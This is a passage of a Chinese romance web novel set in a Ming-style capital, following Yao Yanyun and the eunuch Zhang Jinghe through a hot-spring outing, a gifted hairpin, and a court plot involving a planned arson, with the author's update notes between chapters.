姚砚云也不勉强,便自己去了。不多时,汤池那边便传来她清越婉转的小曲儿,字字句句都透着她这时心情很不错。张景和坐在外间,听着那无忧无虑的调子,嘴角竟也不由自主扯了扯,连自己都觉莫名其妙 “公公” “公公,你在吗?” 忽然,汤池内传来姚砚云的声音。 张景和起身走到隔间门外,问她:“怎么了?” “公公,我进来的太急了,竟忘了带换洗衣物进来,你帮我拿一下吧?”姚砚云的声音隔着门板传来 张景和: 见门外没动静,姚砚云又催促道:“你快点呀,温泉泡久了头晕得很,再耽搁我可要晕过去了!” 张景和自然知晓温泉不可久浸的道理,便依着她的嘱咐,寻来她的里衣里裤,轻轻放在门外的矮凳上:“放这儿了。” 姚砚云出来时,发梢不慎沾了些水汽,湿漉漉地贴在颊边。她看着张景和,问他:“公公,头发湿着难受,你帮我擦一下吧?” 张景和瞥见她穿戴得严严实实,并无不妥,便点了点头。 姚砚云坐在了柔软的毛毯上,屈膝坐下,张景和则坐在一旁的凳上,拿起干爽的毛巾,轻轻覆在她的发间,他动作轻柔地擦拭着,生怕力道重了弄疼她。 室内静得只剩毛巾摩擦发丝的轻响,窗外月光如纱,漫过窗棂。张景和忽然开口,声音有些怅然:“我对宫外的过往,早已没了半分记忆。不记得自己曾是谁,来自何处,唯独残存着一个模糊的片段——有个妇人,拿着粗布帕子,也是这样帮我擦拭头发。可我始终看不清她的脸,也不知她是何人。” 姚砚云闻言一怔,转头望他:“那人……会不会是你的阿娘?” 张景和缓缓摇了摇头,笑了一下:“不记得了。” 姚砚云没想到他会主动说起这般隐秘的往事,心头微动,又轻声追问:“那对你的爹娘,当真一点印象都没有了?” “嗯,没有了。”他答得平静,听不出太多情绪。 “那你……想他们吗?”姚砚云问的声音很小,生怕触碰到他的痛处。x 张景和沉默片刻,唇角勾起一抹极淡的笑容,似释然又似怅惘:“早就不想了。这么多年孤身一人,也都过来了。” 他顿了顿,像是不愿再沉溺于过往,轻轻拍了拍她的发顶:“算了,不说这些扫兴的。” 姚砚云见状,立刻转过身,仰头望着他露出一抹清甜的笑:“好,那我们说些别的。” 之后,张景和便同她说起了宫里的旧事。讲他初入宫时做小火者,跟着一个老太监学做事,因笨手笨脚打碎过御膳房的瓷碗,被那老太监罚跪雪地里,又说冬日里和其他小火者偷偷在墙角烤鸡蛋吃,被发现后一起挨训,几个小火者却因为吃到了烤鸡蛋,笑得特别开心,还说挨一顿训,可以吃到烤鸡蛋,值得了。 他说得平淡,却让姚砚云听得入了神。 窗外的月光透过窗棂,在地上投下两道依偎的身影,疏疏浅浅,温柔得不像话。 姚砚云看着地下上交叠的影子,心头甜丝丝的,像浸了蜜。 他是喜欢她的,她能感受得到。 以后的日子还长呢,她有的是手段让他承认 正想着,一声似有似无的轻笑从她唇边溢出,张景和指尖一顿,低头看着她眉眼弯弯,便抬手轻轻敲了敲她的额角:“又在想什么呢?” 姚砚云道:“不告诉你。” 翌日一早,张景和就起身出发回城了,而姚砚云她们打算再玩两日,再启程返程—— 作者有话说:我明天要去住院了,大概5天左右[爆哭]住院期间依旧会码字,但可能不是日更了,估计没这个精力,要是不更的话,我到时候会发通告。好怕断更几天,就没人来看了[爆哭] 第93章 这还是姚砚云头一回踏足方府。她虽和方淑宁玩得好,可往日里相约游玩,向来是选在城外别院或是街市茶坊这类外头地方。 今日之所以破例登门,原是方淑宁的婚期已近在眼前,今日正是她试穿婚服的日子。姚砚云一早就赶了来,同行的还有方淑惠。 雕花屏风后传来绸缎摩擦的窸窣声,方淑宁带着些小雀跃的嗓音穿透纱幔:“你们可不许偷看!等青儿替我理好霞帔,再出来给你们瞧!” 方淑惠倚着梨花木桌,指尖拨弄着桌上的蜜饯碟,笑着打趣:“都要当新娘子了,还这般害羞。”说罢便作势要绕到屏风后。 “你慢慢来,我会拦着淑宁不让她进去的。”说完姚砚云伸手拉住了方淑惠的衣袖。 过了好一会儿,屏风后终于传来方淑宁的声音:“我要出来咯。” 只见方淑宁身着大红色对襟袖衫,云肩垂珠络摇曳生光。头戴点翠凤冠,衔珠挂玉,霞帔绣缠枝莲纹绕身,下着石榴红百褶长裙,裙摆曳地,每一步都漾着喜庆华贵。 姚砚云和方淑惠都看怔了,半晌才齐齐吐出两个字:“真美。” 方淑宁被夸得脸颊微红,却故意转向方淑惠,笑着调侃:“你和温公子,你们俩怕是也好事将近了。再过些日子,你也要穿上这样的嫁衣了。” “我们还早着呢!”方淑惠的脸瞬间红透,假装不自然地说,“屋里头太闷了,我出去透透气。”说罢便提着裙摆匆匆走了出去。 屋内只剩下姚砚云和方淑宁两人,方淑宁拉着她的手:“姚姐姐,你和张公公最近怎么样了。” 姚砚云脱口而出:“我们很好。” 话虽如此,心底却不由自主地泛起一阵复杂的涟漪。她想着,她和张景和是越来越好了吧。张景和待她,确实处处妥帖周到,可就是不愿意和自己有亲密的举动,任她怎么靠近,他都轻轻避开。 这倒也罢了,更让她隐隐怅然的是,她能感受得到他对她的真切,可他却从未在她跟前,明明白白承认过两人的关系 这般想着,方才那点笑意便淡了几分,心头像压了片轻飘飘的云,闷得有些发沉。 不过,今日是淑宁试婚服的好日子,满室都是喜庆的光景,她也不好哭丧着脸,就笑着继续和她聊了一些其他的事情,例如,张景和前段时间带她去看烟花,去泡温泉的那些事。 方淑宁听完抿着嘴笑起来:“说起来,我也就见过张公公寥寥几次。印象里他总板着张脸,瞧着怪凶的。果然还是姚姐姐厉害,竟能把这样的人都收服得妥妥帖帖。” 姚砚云听了,忍不住弯了弯唇角:“他现在也整天板着个脸。” 正说着,门外传来脚步声,方淑惠进来了。她见两人笑得热闹,便好奇地问:“你们在说什么呢,笑得这么开心?” “我们在说张公公呢。”方淑宁道。 听到张公公“三个字,方淑惠脸上的笑意少了一半。姚砚云将这一切看在眼里,心里轻轻叹了口气。 她知道方淑惠一直不喜欢张景和,总觉得他身份特殊,配不上自己,也知道上次青筠馆的事,让方淑惠对他多了几分误会。可她不知该如何解释 而且她也明白,方淑惠虽语气冲,却并无恶意,只是单纯替她担心。 姚砚云连忙岔开话题,拉着方淑惠的手笑道:“不说我们了,说说你吧,你和温公子怎么样了?” 可方淑惠却没顺着她的话走,反而皱着眉追问:“姚姐姐,张公公最近还在欺负你吗?他对你到底好不好?”她顿了顿,语气里满是不解与愤愤不平,“我真不知道他哪里来的福气,竟然能让姚姐姐你心甘情愿待在他身边!” 姚砚云: 方淑宁见状,连忙扯了扯方淑惠的袖子,瞪了她一眼,压低声音道:“你怎么话这么多?” 方淑惠还想反驳,却被方淑宁用眼神制止了。之后三人又聊了些家常,说些婚嫁的琐事,眼看时间不早了,姚砚云便起身告辞了。 等姚砚云上了马车,方淑宁立刻拉着方淑惠走到廊下,语气严肃:“人家的事,关你什么事?下次你别在当着姚姐姐的面,说张公公不好。” “难道我说错了吗?”方淑惠不服气地皱着眉,“那张景和不过是个太监,凭什么让姚姐姐这么喜欢他?他还不懂珍惜,连句软话都不会说!” “那也是姚姐姐自己的选择。”方淑宁沉声道。 “我就是看不惯他那个样子!”方淑惠道“你都不知道啊,上次我和姚姐姐去青筠馆玩了一下而已,他找到我们的时候,脸色黑得像锅底,眼神凶得要吃人!要是我不在,谁知道他会怎么对姚姐姐!” “张公公反应那么大,是因为在意姚姐姐,是吃醋了啊。”方淑宁耐着性子解释。 方淑惠愣住了,眼底满是疑惑:“是这样吗?可他是个太监,太监也会喜欢人吗?也会吃醋吗?” 方淑宁的脸色瞬间沉了下来,语气不悦:“太监又怎么样,如果我和你说,我也喜欢过太监呢,那又如何?难不成你要和我断绝关系吗。” 方淑惠: 姚砚云正倚着软垫出神,马车行至一处街口时,外头的人声忽然沸反盈天,生生打断了她的思绪。 她抬手掀开一侧的车窗,凛冽的风扑了满脸,却见街口一家纸铺前热闹得不同寻常——朱红的木架上,密密麻麻挂满了崭新的春联,还有秦琼、尉迟恭的门神画像,旁边的竹篮里,码着裁剪得方方正正的金箔纸。 她指尖轻点窗沿,转头问身侧的马冬梅:“这街上这般热闹,是要过新年了?” “可不是嘛!”马冬梅眼睛一下亮了起来,脸上满是按捺不住的期待,“马上就要过新年了。往年咱们都是在宫里守着规矩过年,冷冷清清的,今年好不容易出来了,京师的年味儿可比宫里足多了!我早就听人说,这儿的庙会能看高跷舞龙,社戏更是连演好几日,热闹得很呢!” 姚砚云闻言,身子微微倾斜,头轻轻靠在马冬梅肩上:“那正好,到时候咱们就一块儿去转转,好好瞧瞧这京师的年景。” ———————— 张景和踏出宫门时,眉宇间一直拧着,显然很不开心,他掀帘钻进了马车。驾车的车夫打从宫门口等候时,就瞧出老爷脸色不对,今儿个手里的缰绳握得格外稳,马车轱辘碾过青石板路,竟比往日慢了大半,生怕马蹄溅起的雪泥、x或是车轮稍重的颠簸,都成了触怒老爷的错处。 马车行至一处街口,忽然轻轻顿住。一旁的老刘跳下车,只匆匆跟王车夫交代了两句,便快步往巷口跑了。王车夫刚要扬鞭,车厢里就传来张景和不耐烦的冷声:“这是在做什么!” 王车夫手一抖,连忙回头对着车帘躬身回话:“回老爷,是老刘临时下车了。他说花街那边新开了家首饰铺,款式新奇得很,想着给刚娶的媳妇买只簪子……他、他就先走一步了。” 车厢里静了片刻,随即传来张景和淡淡的声音:“让他去。驾车。” “哎,好的老爷。”王车夫松了口气,小心翼翼地催动马车。 车厢内,暖炉的炭火明明灭灭,却驱不散张景和心头的烦闷。他靠在软垫上,指尖无意识地摩挲着腰间香囊,竟破天荒地开口,跟车外的王车夫搭了话:“什么簪子,值得他这般急着去买?” 王车夫闻言,放缓了车速,回话的语气也放松了些:“回老爷,听老刘说那边新开一间铺子叫‘玲珑心’。里头的首饰款式,跟京师那些老字号的截然不同,新奇又雅致,京里的姑娘们都抢着买,晚了就没货了。老刘刚成家,自然是把媳妇疼得紧,想着赶早挑只好的。” 车厢里传来一声轻嗤:“不过一支簪子,至于吗?” 一刻钟后,马车缓缓停在了花街的“玲珑心”铺门前。 张景和掀帘下车,径直迈了进去。铺子里的掌柜本在招呼客人,抬眼瞧见来人,目光落在他大氅下那袭绣着金线蟒纹的朱红官袍上,眼睛瞬间亮了,连忙撇下客人,满脸堆笑地迎了上来,姿态恭敬又不失分寸:“这位大人,里边请!不知大人是想给心上人挑件首饰,还是给家中长辈备礼?小店的物件皆是十几年匠人亲手打造,款式精致新颖,且每一件都独一无二,保管能合了大人的心意!” 张景和不自然地抬手咳了一声,语气生硬道:“给……给一个女子送。” 掌柜的是个察言观色的老手,立刻心领神会,笑着追问:“明白明白。那大人,不知你想挑什么样式的?” 这一下子难倒张景和了,他给姚砚云送过不少的东西,可他都是看什么贵就送什么,哪里曾留意过她喜欢什么款式、偏爱什么纹样? 他皱了皱眉:“我想给她买支簪子,要好看的。只是……我实在不知她喜欢什么样的。” 掌柜的见状,笑得愈发亲和:“大人莫急。你不妨跟小的说说,那位姑娘平日里偏爱什么颜色?有没有格外喜欢的花纹,或是钟爱的花草、小动物之类的?” 张景和闻言,脑海里立刻浮现出姚砚云的模样。他沉吟着,话语不自觉地絮叨起来:“她……她的衣裳颜色多,最喜欢穿红的和湖水蓝,偶尔也穿鹅黄色,湖水绿的料子她也有,想来也是喜欢的。花草的话,她喜欢腊梅,还有玉兰花,可我也无意间听到过她讲兰花和牡丹,只是她更偏爱哪一种,我倒没细问。她还喜欢猫,其他什么小动物倒是没问过……她长得很漂亮,皮肤很白,平日里总爱笑着,笑起来的时候,眼睛弯弯的,像夜里的月亮。” 掌柜的: 掌柜的站在一旁,听着他东一句西一句,不由得会心一笑,也不再多问,只道:“大人稍候。小的给你推荐一支簪子,保管那位姑娘见了欢喜。这簪子,世上仅此一支。” 说罢,他转身走进内间,片刻后捧着一个描金漆盒出来。轻轻掀开盒盖,一支纯金打造的腊梅簪静静躺在锦缎上——枝头的腊梅开得正盛,花瓣雕琢得薄如蝉翼,脉络清晰可见,最妙的是花蕊中央,嵌着一颗鸽血红宝石,色泽浓艳如霞,衬得那金梅愈发鲜活,款式新颖别致,却又不显繁复累赘。 张景和本不懂这些女儿家的饰物,可瞧见这支簪子,却莫名觉得合眼缘,仿佛那枝头的腊梅,下一刻就要映出姚砚云笑弯的眉眼。他二话不说,当即付了银子,将簪子收好,转身快步走出了铺子,连眉宇间的郁色,都散了大半。 姚砚云刚听丫鬟说张景和回来了,预备往望雪坞寻他,脚步刚跨出房门,就见院门口立着一道熟悉的身影。 正是张景和。 两人撞了个正着,四目相对间,姚砚云嘴角先漾开笑意,脚步轻快地迎了两步。张景和也放缓了神色,陪着她一同转身,并肩走回了屋内。 暖炉里的炭火燃得正旺,映得屋内暖意融融。张景和拿出那个描金漆盒,轻轻掀开盒盖,他抬眼看向姚砚云:“看看,喜欢吗?” 姚砚云好奇地凑近,身子微微前倾,她伸手将簪子拿起:“喜欢。” 说罢,她便抬手要往发间那处。 张景和伸手拦住她,指腹不经意间擦过她的指尖,轻轻将簪子从她手中接过:“我帮你戴。” 姚砚云乖乖站定,微微侧过脸。张景和抬手,小心翼翼地将簪子插/。进她的发髻,金梅落在青丝间,衬得她肌肤愈发莹白。 张景和觉得那支精心挑选的簪子固然精巧,可簪子下的人,眉眼弯弯,笑意浅浅,比这世间任何珍宝都要好看。 戴好簪子,姚砚云抬手轻轻摩挲着鬓边的腊梅,转头看向张景和,眼底满是笑意:“公公今日怎么又给我送礼物?可是遇上了什么开心事?” 张景和对上她澄澈的眼眸,淡淡道:“皇上赏的,我留着无用,便拿来给你了。” 姚砚云看着他:“怪不得这般精致好看,原来是宫里的物件。我还当,是公公你突然开窍,品味变得这么好了呢。” 张景和:—— 作者有话说:今天状态好,更新了一章,明天不一定有,恢复正常更新了,到时候会和大家说的哈。 第94章 “小伊,你今日得空的话,帮我把这画裱装一下。” 这幅画姚砚云从西州回来时便动笔了,断断续续画了许久,直到昨夜才总算落了最后一笔。今日中午天气不错,有暖融融的太阳光,她便揣着画卷来了铺子,想让小伊尽快帮忙裱好。 小伊闻言咧嘴一笑,露出一口整齐的大白牙:“姚姑娘,我这会儿正得空呢,你把画给我吧。” 姚砚云指尖攥着画轴,脸上掠过一丝羞涩,轻轻将画卷递了过去。小伊接过,小心翼翼展开细看,目光落在画纸上时,不由得微微睁大了眼,露出几分惊讶。 “姚姑娘,这幅画要精裱,约莫得一个月光景,等做好了我第一时间通知你。”小伊抬眼说道。 一个月后,正巧是过年前后。姚砚云点点头,轻声应道:“我晓得了,到时我亲自过来取。” 交代完裱画的事,姚砚云闲来无事,便在铺子里慢悠悠踱着,看货架上整齐摆放的笔墨纸砚。正看得入神,肩头忽然撞到一个人。她慌忙抬头,只见来人面容十分眼熟,可一时之间,却怎么也想不起在哪儿见过。 就在她思考的同时,张默面带笑意地叫唤了她一声:“姚姑娘” 这一声唤,让姚砚云豁然开朗。原来是他,鸣玉楼那次,他与张景和等人在雅间里吃饭,她还曾和他说过几句话。 既是张景和的同僚,姚砚云便敛了神色,浅浅一笑:“大人需要些什么?我让伙计给你寻来。” 那人拱手道:“姚姑娘,鄙人姓张,单名一个默。实不相瞒,今日在下前来,并非买东西,而是特意来找姚姑娘你的。” 姚砚云脸上露出几分不解,眼中满是疑惑。 张默见状,目光扫过铺内,温声道:“姚姑娘,你别多想,我并无恶意。看你这铺子里有会客的地方,若是方便,我们借一步单独聊聊?” 张默是张景和的同僚,况且此地又是自己的铺子,料想不会有什么不妥,姚砚云便点了点头应下了。 两人在里间的客座坐下,刚一落座,张默脸上的笑意便瞬间敛去,神色一下子变得凝重起来:“姚姑娘,张某今日前来,是想求你一件事。” 姚砚云先是愣了一下,随即道:“张大人,你是不是找错人了,我能帮你什么?” 张默沉声道:“不知道姚姑娘还记不记得,前x段时间当今圣上因服食广乐府总督进献的药丸,龙体大损一事?” “药丸”二字入耳,姚砚云只觉得腿脚一软,险些从椅子上滑下去。上次便是因为这药丸之事,她寒冬腊月跳了湖,怎么这事到如今还没完?一股难以言喻的担忧,瞬间笼罩在她的心头。 她强作镇定,颔首道:“此事我知道。” 张默又道:“那你应当知晓,广乐府总督已然伏诛了吧?” 姚砚云抿着唇,再次点了点头。 “那他的母亲,上吊自尽了,你可知晓?”张默说这话时,声音压得极低,表情阴森森的,听得姚砚云浑身一颤,惊得抬眸:“这……我不曾听说。” “广乐府总督名唤萧凡,是家中独子。如今独子没了,他母亲已是七十高龄,哪里承受得住这般打击,前几天便上吊去了。”张默目光灼灼地看着姚砚云,神色无比认真,“本来死个妇人,在旁人眼中算不得什么大事。可萧凡的父亲萧乾,早年曾任锦衣卫千户,在京师地面上还算有些威望与人脉。如今儿子惨死,发妻又寻了短见,他岂会善罢甘休?” 他顿了顿,又道:“姚姑娘你既然跟着张公公,想必也清楚如今朝中的局势,内阁与司礼监斗得你死我活,势同水火。这次内阁那边,正是借着萧乾夫人之死大做文章,不仅鼓动京中大小官员纷纷前去祭拜,还暗地里散布流言,借机指责司礼监草菅人命——一个正三品的朝廷命官,说杀就杀。” “杀了人还不算,竟逼得人家母亲自尽。如今朝中的舆论,早已倒向了内阁那边,事态还在不断发酵,已然到了司礼监难以控制的地步。圣上如今也有些动摇,一旦圣上怪罪下来,司礼监上下,怕是个个都要吃不了兜着走。偏巧冯掌印近期被圣上派去外地办差,这烂摊子,便落到了张公公与陈公公头上。” 张默说着,脸上露出一抹苦涩的笑,问道:“姚姑娘,你知道张公公他们打算怎么处理吗?” 姚砚云心头一紧,摇了摇头:“我不知道。” “如今在某些人的暗中煽动下,每日都有官员去葫芦巷子——也就是萧乾的住处吊唁。来的人实在太多,那些送葬的纸扎祭品,早已摆满了整条巷子,甚至都堆到了邻里住户的门前。” “萧老自从他儿子死后,便搬回了葫芦巷子,那地方狭小,住了很多百姓,张公公和陈公公竟想出了一个毒计——在他夫人头七那天,秘密派人放一把火把那些纸扎全烧了。”张默的声音里带着几分愤懑,“那里住户多,纸扎又都是易燃之物,一旦起火,势必会引起大乱。他们打的主意,便是让这场大火闹出些人员伤亡,到时候,祭拜的闹剧自然会不攻自破,舆论也会就此转向。” “姚姑娘,听完这些,我想你应该知道我今天,因什么来找你帮忙了吧。” 姚砚云听完,只觉得胸口一阵发闷,胃里更是翻江倒海般难受。她强压着不适,抬眸看向张默:“你将这些事告知于我,意欲何为?你这般空口白牙说来,我怎么知道你说的是真的还是假的?” “就算你说的是真的,你便觉得,凭我之力,能劝得动张公公收回这等心思?大人未免也太高看我了。” 她话锋一转,目光锐利起来:“你既然肯把这些事说与我听,先得说清楚,你是哪一派的人?这么隐秘的计划,你又是如何知晓的? “萧凡的死活,本与我无半分干系。”张默叹了口气,坦诚道,“实不相瞒,萧老当年曾对我有救命之恩,我今日前来,不过是想报答这份恩情,不想他身陷这场风波,白白丢了性命。我找你,是想请你帮忙劝劝张公公,莫要行此险招。我这边也会尽力劝说萧老,给我些时间,我定能让他尽快抽身,远离这场是非。” 他顿了顿,又补充道:“姚姑娘,你怕是不知道,京师早年便出过类似的事——丧礼上烧纸扎引发大火,最后活活烧死了好几个人。” 姚砚云闻言,嘴角勾起一抹冷笑,眼神里满是讥讽:“你这哪里是求我帮忙,分明是在利用我,想把我也拖下水!” “我不否认,这确实有利用在里面。”张默没有回避,目光沉沉地看着她,“但姚姑娘,你扪心自问,张公公他们这般做法,真的对吗?就算他们这次能侥幸脱身,躲过一劫,可这般草菅人命的行径,日后就不会遭报应吗?” 姚砚云心头一震,却依旧保持着清醒,追问道:“你还没回答我的问题。你到底是如何知晓这个计划的?这么隐秘的事,绝非外人能轻易得知。你不妨直说?” 张默垂眸:“我如何知道的,实在不便相告。但我敢以性命起誓,这事我绝对不会说出去,今日与你说的这些话,也绝不会泄露给第三个人知道。” “既不肯说,那便没什么好谈的了。”姚砚云忽然笑了,带着冷意,“你走吧。”说罢便要撑着桌沿起身,显然不愿再与他纠缠。 “姚姑娘!”张默急忙上前一步“眼看就要过新年了,非要闹到火烧民居、伤及无辜的地步才肯罢休吗?” 姚砚云的动作顿住,终究还是重新坐了回去,只是眉峰皱得更紧:“你既知道得这么清楚,为何不直接去找张公公、陈公公?何苦来寻我?你怕他们点火,大可以找人去葫芦巷子守着,阻止他们便是。” “我若是能去,岂会来求你?”张默苦笑一声“这事本就不该我知晓,一旦被那两位公公察觉,我十条命也不够赔的!况且我只知道他们有这个歹念,却不知具体会在何时动手——唯有先把这念头从他们心里抹去,才能彻底避免祸事。更别说,葫芦巷子如今早已被便衣锦衣卫围得水泄不通,我连巷子口都近不了,还能做什么?” 姚砚云反问他:“难道我就不怕吗?你莫不是以为,张景和会什么都听我的?” “你是张公公最在意的人。”张默急忙接话“你的话,他多少会听进去一些” “那不过是你的以为罢了!”姚砚云加重了语气,眼底闪过一丝复杂的情绪。 张默想起,此前姚砚云莫名失踪时,张景和竟放下身段去求陆政州帮忙寻人——此事传开后,谁还不知晓,这位张公公早已不是当年那个油盐不进、心如铁石、断无情欲的模样了 正因笃定这份在意,他才敢冒险来找姚砚云。只是这些话,他不便明说,只能压在心底,继续劝道:“姚姑娘,就算张公公不全听你的,你试着劝一劝,总归是多一分希望。若是真等大火烧起来,伤及无辜,到时候再后悔,可就晚了。” 姚砚云垂着眼,堂内一时陷入沉寂。 张默见状,知道再多说无益,只能起身拱了拱手:“我今日话说到这里,望姚姑娘能再好好想想。”说罢,便轻轻带上门,转身离开了。 第95章 谁知张默带上门,才走了没几步,竟又踟蹰着折返回来,声音带着哀求:“姚姑娘啊姚姑娘……你当真这般狠心?” 姚砚云闻言,嗤笑一声:“你要不要听听你在说什么啊?说谎连个像样的由头都不肯编,也太敷衍了些。” “你方才说,此事你本不该知晓,若被张公公与陈公公察觉,十条性命也不够赔。那我倒要问问,你让我去劝张公公,他岂会猜不到是你泄的口风?” 谎言被当场戳破,张默脸上一阵红一阵白,尴尬地搓了搓手,干笑两声:“我……我这不是怕姚姑娘不肯帮我?既然你都这般说了,我便实言相告吧。此事是我无意间从陈公公那里听来的,他早已警告过我,若是敢走漏半分风声,定会整死我……我实在是走投无路了才来找你。一来萧老对我有再造之恩,二来,纵火害人这般阴毒之事,实在有违天良。” 姚砚云: 张默又急着补充:“只要姚姑娘肯劝劝张公公,让他打消此念,陈公公素来听他的话,此事不就迎刃而解了?” 姚砚云正要开口,忽闻“轰隆”一声巨响,房门竟被人一脚踹开。 “张默!我去你妈的。”张景和怒不可遏地闯进来,一把揪住张默的衣领,双目赤红,目眦欲裂“你和她说这些做什么?你想死吗。” 原来张景和从宫里出来后,便x想着来铺子里碰碰运气,看看姚砚云在不在这边。刚进门,伙计便上前回话,说姚姑娘正在后堂会客。他本想稍候,谁知刚走近后堂门口,便将张默那番话听得一清二楚,怒火瞬间冲昏了头脑。 张默被这滔天怒火吓得魂飞魄散,身子一矮,像泥鳅似的从他手下挣脱,踉跄着躲到姚砚云身后,声音抖得不成样子:“姚姑娘,救我!我没骗你吧?他们真的会杀了我的……” 姚砚云也被张景和这副模样惊得不轻,从未见过他如此暴怒失态,生怕两人当场厮打起来,她就让张默先走了。 张默如蒙大赦,连滚带爬地跑了。 屋内只剩下两人,空气凝滞得几乎让人喘不过气。张景和缓了缓气息,目光落在姚砚云苍白的脸上,语气不自觉放柔了些:“吓着你了?” 姚砚云抬眸望进他眼底,那片尚未褪去的戾气仍在,她轻轻点头,声音微哑:“是。” 张景和转身走到太师椅旁坐下,目光沉沉地望着她,自嘲地道:“如今知道我是这般阴狠之人,你心里,大抵是失望透顶了吧?” 坐到这个位置,他手上沾染的脏污与算计,早已数不清了。他心里是不愿让她知道这些事的,不愿让她窥见自己这般不堪的模样。可如今被张默捅破,倒也没了隐瞒的必要。他甚至有些卑劣地想,若她知晓了自己的真面目,还会不会像从前那般,刻意的讨好他,违心地说喜欢他? 姚砚云听后,心头一窒,忽然别开眼,避开了他探究的目光,沉默着没有回话。 张景和见她这般反应,虽早有预料,心口却还是像被什么东西堵了一下,闷得发慌。 他站起身,声音冷淡了一些:“回去吧。” 说罢,便率先迈步向外走去。 姚砚云默默跟在他身后,出了铺子,一同登上了等候在外的马车。 车厢内,两人并排而坐,相顾无言。唯有马蹄踏过青石板路的“哒哒”声,在寂静中格外清晰 姚砚云这时心绪已渐渐平复。她瞧着身旁垂眸不语的张景和,她想着,他这般冷淡,无非是因张默和她说了这些事,而他是不愿让自己窥见这些不堪的吧? 正想着,张景和忽然开口“你没什么话要说吗?” 姚砚云抬眼望他,唇边漾开一抹温软的笑意,语气轻快:“有啊,等下想和公公一起吃饭。” 张景和: 姚砚云笑意未减,眼神却多了几分认真:“在小云心里,公公从不是什么十恶不赦之人。你要做的事,自然有你的缘由。我虽只是一介女流,未曾涉足朝堂纷争,却也知晓,你们身处的棋局,从来都是生死相搏,容不得半分心软。你这般做,不过是身不由己,你不先出手,倒下的便是你自己。” 这话绝非虚言哄他。她岂会因张默的只言片语,便轻易断定张景和的是非?朝堂之上,人心叵测,那些官员个个城府深沉,她从前看书看电视剧多少都知道一些。 张景和心头猛地一震,侧眸凝视着她。他原以为,自己在她心中已是阴狠狡诈之辈,却未想她竟能这般通透地理解自己。一股难以言喻的暖意悄然蔓延开来,他喉结微动,轻声问:“你……不怕我?” 姚砚云迎上他的目光:“我怕可我更怕,你把我当外人,什么都不肯与我说。” 张景和沉默了,车厢内再次陷入寂静,只是这沉默里,少了先前的滞涩,多了些许说不清道不明的旖旎。 她总是这样,说得永远都那么好听,不管他是什么模样,不管他说什么、做什么,她总能稳稳接住,总能说出那些他最想听、也最难得的话来 不多时,马车缓缓停下,张府已然到了。 姚砚云没有回自己的踏月轩,而是自然而然地跟着张景和进了他的院子。 入了院门,张景和便径直往寝室走去,打算更衣。谁知刚走到门口,身后的姚砚云竟也跟着抬脚迈了进来。 张景和回头,诧异看着她:“你进来做什么?” 姚砚云眨了眨眼,脸上带着笑意:“自然是帮公公更衣呀。” 张景和想着,张默都这样说了,还吓不到她,如今她还敢这般亲近,不由得轻咳一声,有些不自然地避开她的目光:“不必了,我自己来便可。” 姚砚云却像是没听见一般,径直走了进来,反手便将房门掩上,语气带着几分娇嗔:“人家就要帮你嘛。”话音未落,她的手便已经搭上了他腰间的玉带,作势要解。 “不用不用,我自己来,你给我出去。”张景和连忙往后退了几步,脸颊竟隐隐泛起一丝薄红。 姚砚云哪里肯依,步步紧逼。她往前一步,他便后退一步,不多时,张景和便被她逼到了床沿。脚下一绊,他身子一歪,竟直直跌坐在了床上。 姚砚云见状,眼底闪过一丝狡黠,故意脚下一滑,整个人便顺势扑了上去,稳稳地趴/。在了他身上。 “姚砚云,你给我起来!”张景和又急又窘,伸手便想推开她,可不知怎的,今日的姚砚云竟似有使不完的力气,他一时竟未能推开。 姚砚云趴在他肩头,气息温热地拂过他的脖颈,戏谑地道:“我就不起来,公公能奈我何?” 张景和咬牙,耳根都红透了,却又舍不得真的对她动怒:“你这是故意挑衅?我告诉你,等下有你哭的!” 姚砚云抬起头,鼻尖几乎要碰到他的鼻尖,眼底满是笑意:“哦?那公公倒是说说,想怎么让我哭呀?” “你……”张景和被她这般直白的注视弄得心慌意乱,连忙偏过头,不敢与她对视,“松手,快起来!” 姚砚云非但不松,反而又往他身上压/。了压:“要我起来也可以,你得把张默今日说的事,原原本本地告诉我,我便放了你。” 张景和眉头一蹙:“这事与你无关。官场之上的尔虞我诈,波谲云诡,你一个小姑娘家,懂什么?” 姚砚云不服气地撅了撅嘴,小声嘟囔:“我怎么不懂?我可是看过明史的!” 张景和自然不知明史为何物,只当她是胡言乱语,又气又无奈:“你到底起不起来?一个姑娘家,整日里黏着男子耍赖,像什么样子!” 姚砚云耍赖似的摇了摇头:“人家不要嘛。” 张景和道:“起来!” 姚砚云道:“不要嘛” 张景和被她缠得没了法子,又舍不得对她动粗,更舍不得冷言呵斥。这般软磨硬泡之下,他终究是败下阵来,将事情的来龙去脉,一五一十地说了出来。 听他说完,姚砚云才乖乖从他身/。上起身,顺势在床沿坐下,指尖轻轻绞着裙摆,语气带着唏嘘:“这么说来,萧乾也是被人当枪使了?这般境遇,倒也着实可怜。” 张景和闻言,唇边勾起一抹凉薄的嗤笑,语气里满是不屑:“他也配谈可怜?” “怎就不配了?”姚砚云看着他,“刚失了发妻,心绪本就难平,又被人钻了空子利用……要是在点一把火,他能不能保住性命都未可知” 张景和眸色沉了沉,语气冷硬:“路是他自己选的,后果自然该他自己担着!” “公公……”姚砚云欲言又止,犹豫了片刻才轻声问道,“那你……打算何时动手?” “后天。”张景和语气斩钉截铁,“若那姓萧的能及时迷途知返,安分收手,我便留他一条性命,若他执意一条道走到黑,那就休怪我不念半分情面。” 姚砚云往他身旁挪近了些,肩头几乎挨着他的胳膊:“眼瞧着就快过年了……或许,张默说的是真的,他当真能劝动萧老回心转意呢?不如再给他一些时间呢。” 张景和侧眸看了她一眼,眼底翻涌着复杂的情绪,最终化为一声冷笑,语气淡漠:“他能不能劝成,早已不重要了。”—— 作者有话说:恢复更新了姐妹们,今天开始正常更新。 第96章 张默本是抱着几分侥幸心思踏进店中,未料竟真撞见了姚砚云,他头戴一顶带纱笠帽,鬼鬼祟祟的。 待姚砚云看清来人是张默,见他取下帽子时,额间缠着圈白布,鼓鼓囊囊的,显是伤得不轻,不由得惊道:“这是被谁打的?” 张默垮着脸,满是委屈:“还不x是为了劝萧老回头,我去给他磕了几个头……” 姚砚云: “若不是萧老对我有恩,我才懒得管这些糟心事!”张默越说越气,语气里满是烦躁,“让他们自生自灭便是!如今闹得鸡飞狗跳,像什么样子。” “他稍顿,又急切追问:“姚姑娘,你那边劝得如何了?” 姚砚云眸色微动,只淡淡吐出两个字:“后天。”言罢,便转身匆匆离了铺子。 离开铺子后,姚砚云先去冯府探望了芸娘,陪她闲话了片刻家常,方才动身回府。 踏入踏月轩,她刚坐下歇了盏茶的功夫,张景和便来了。 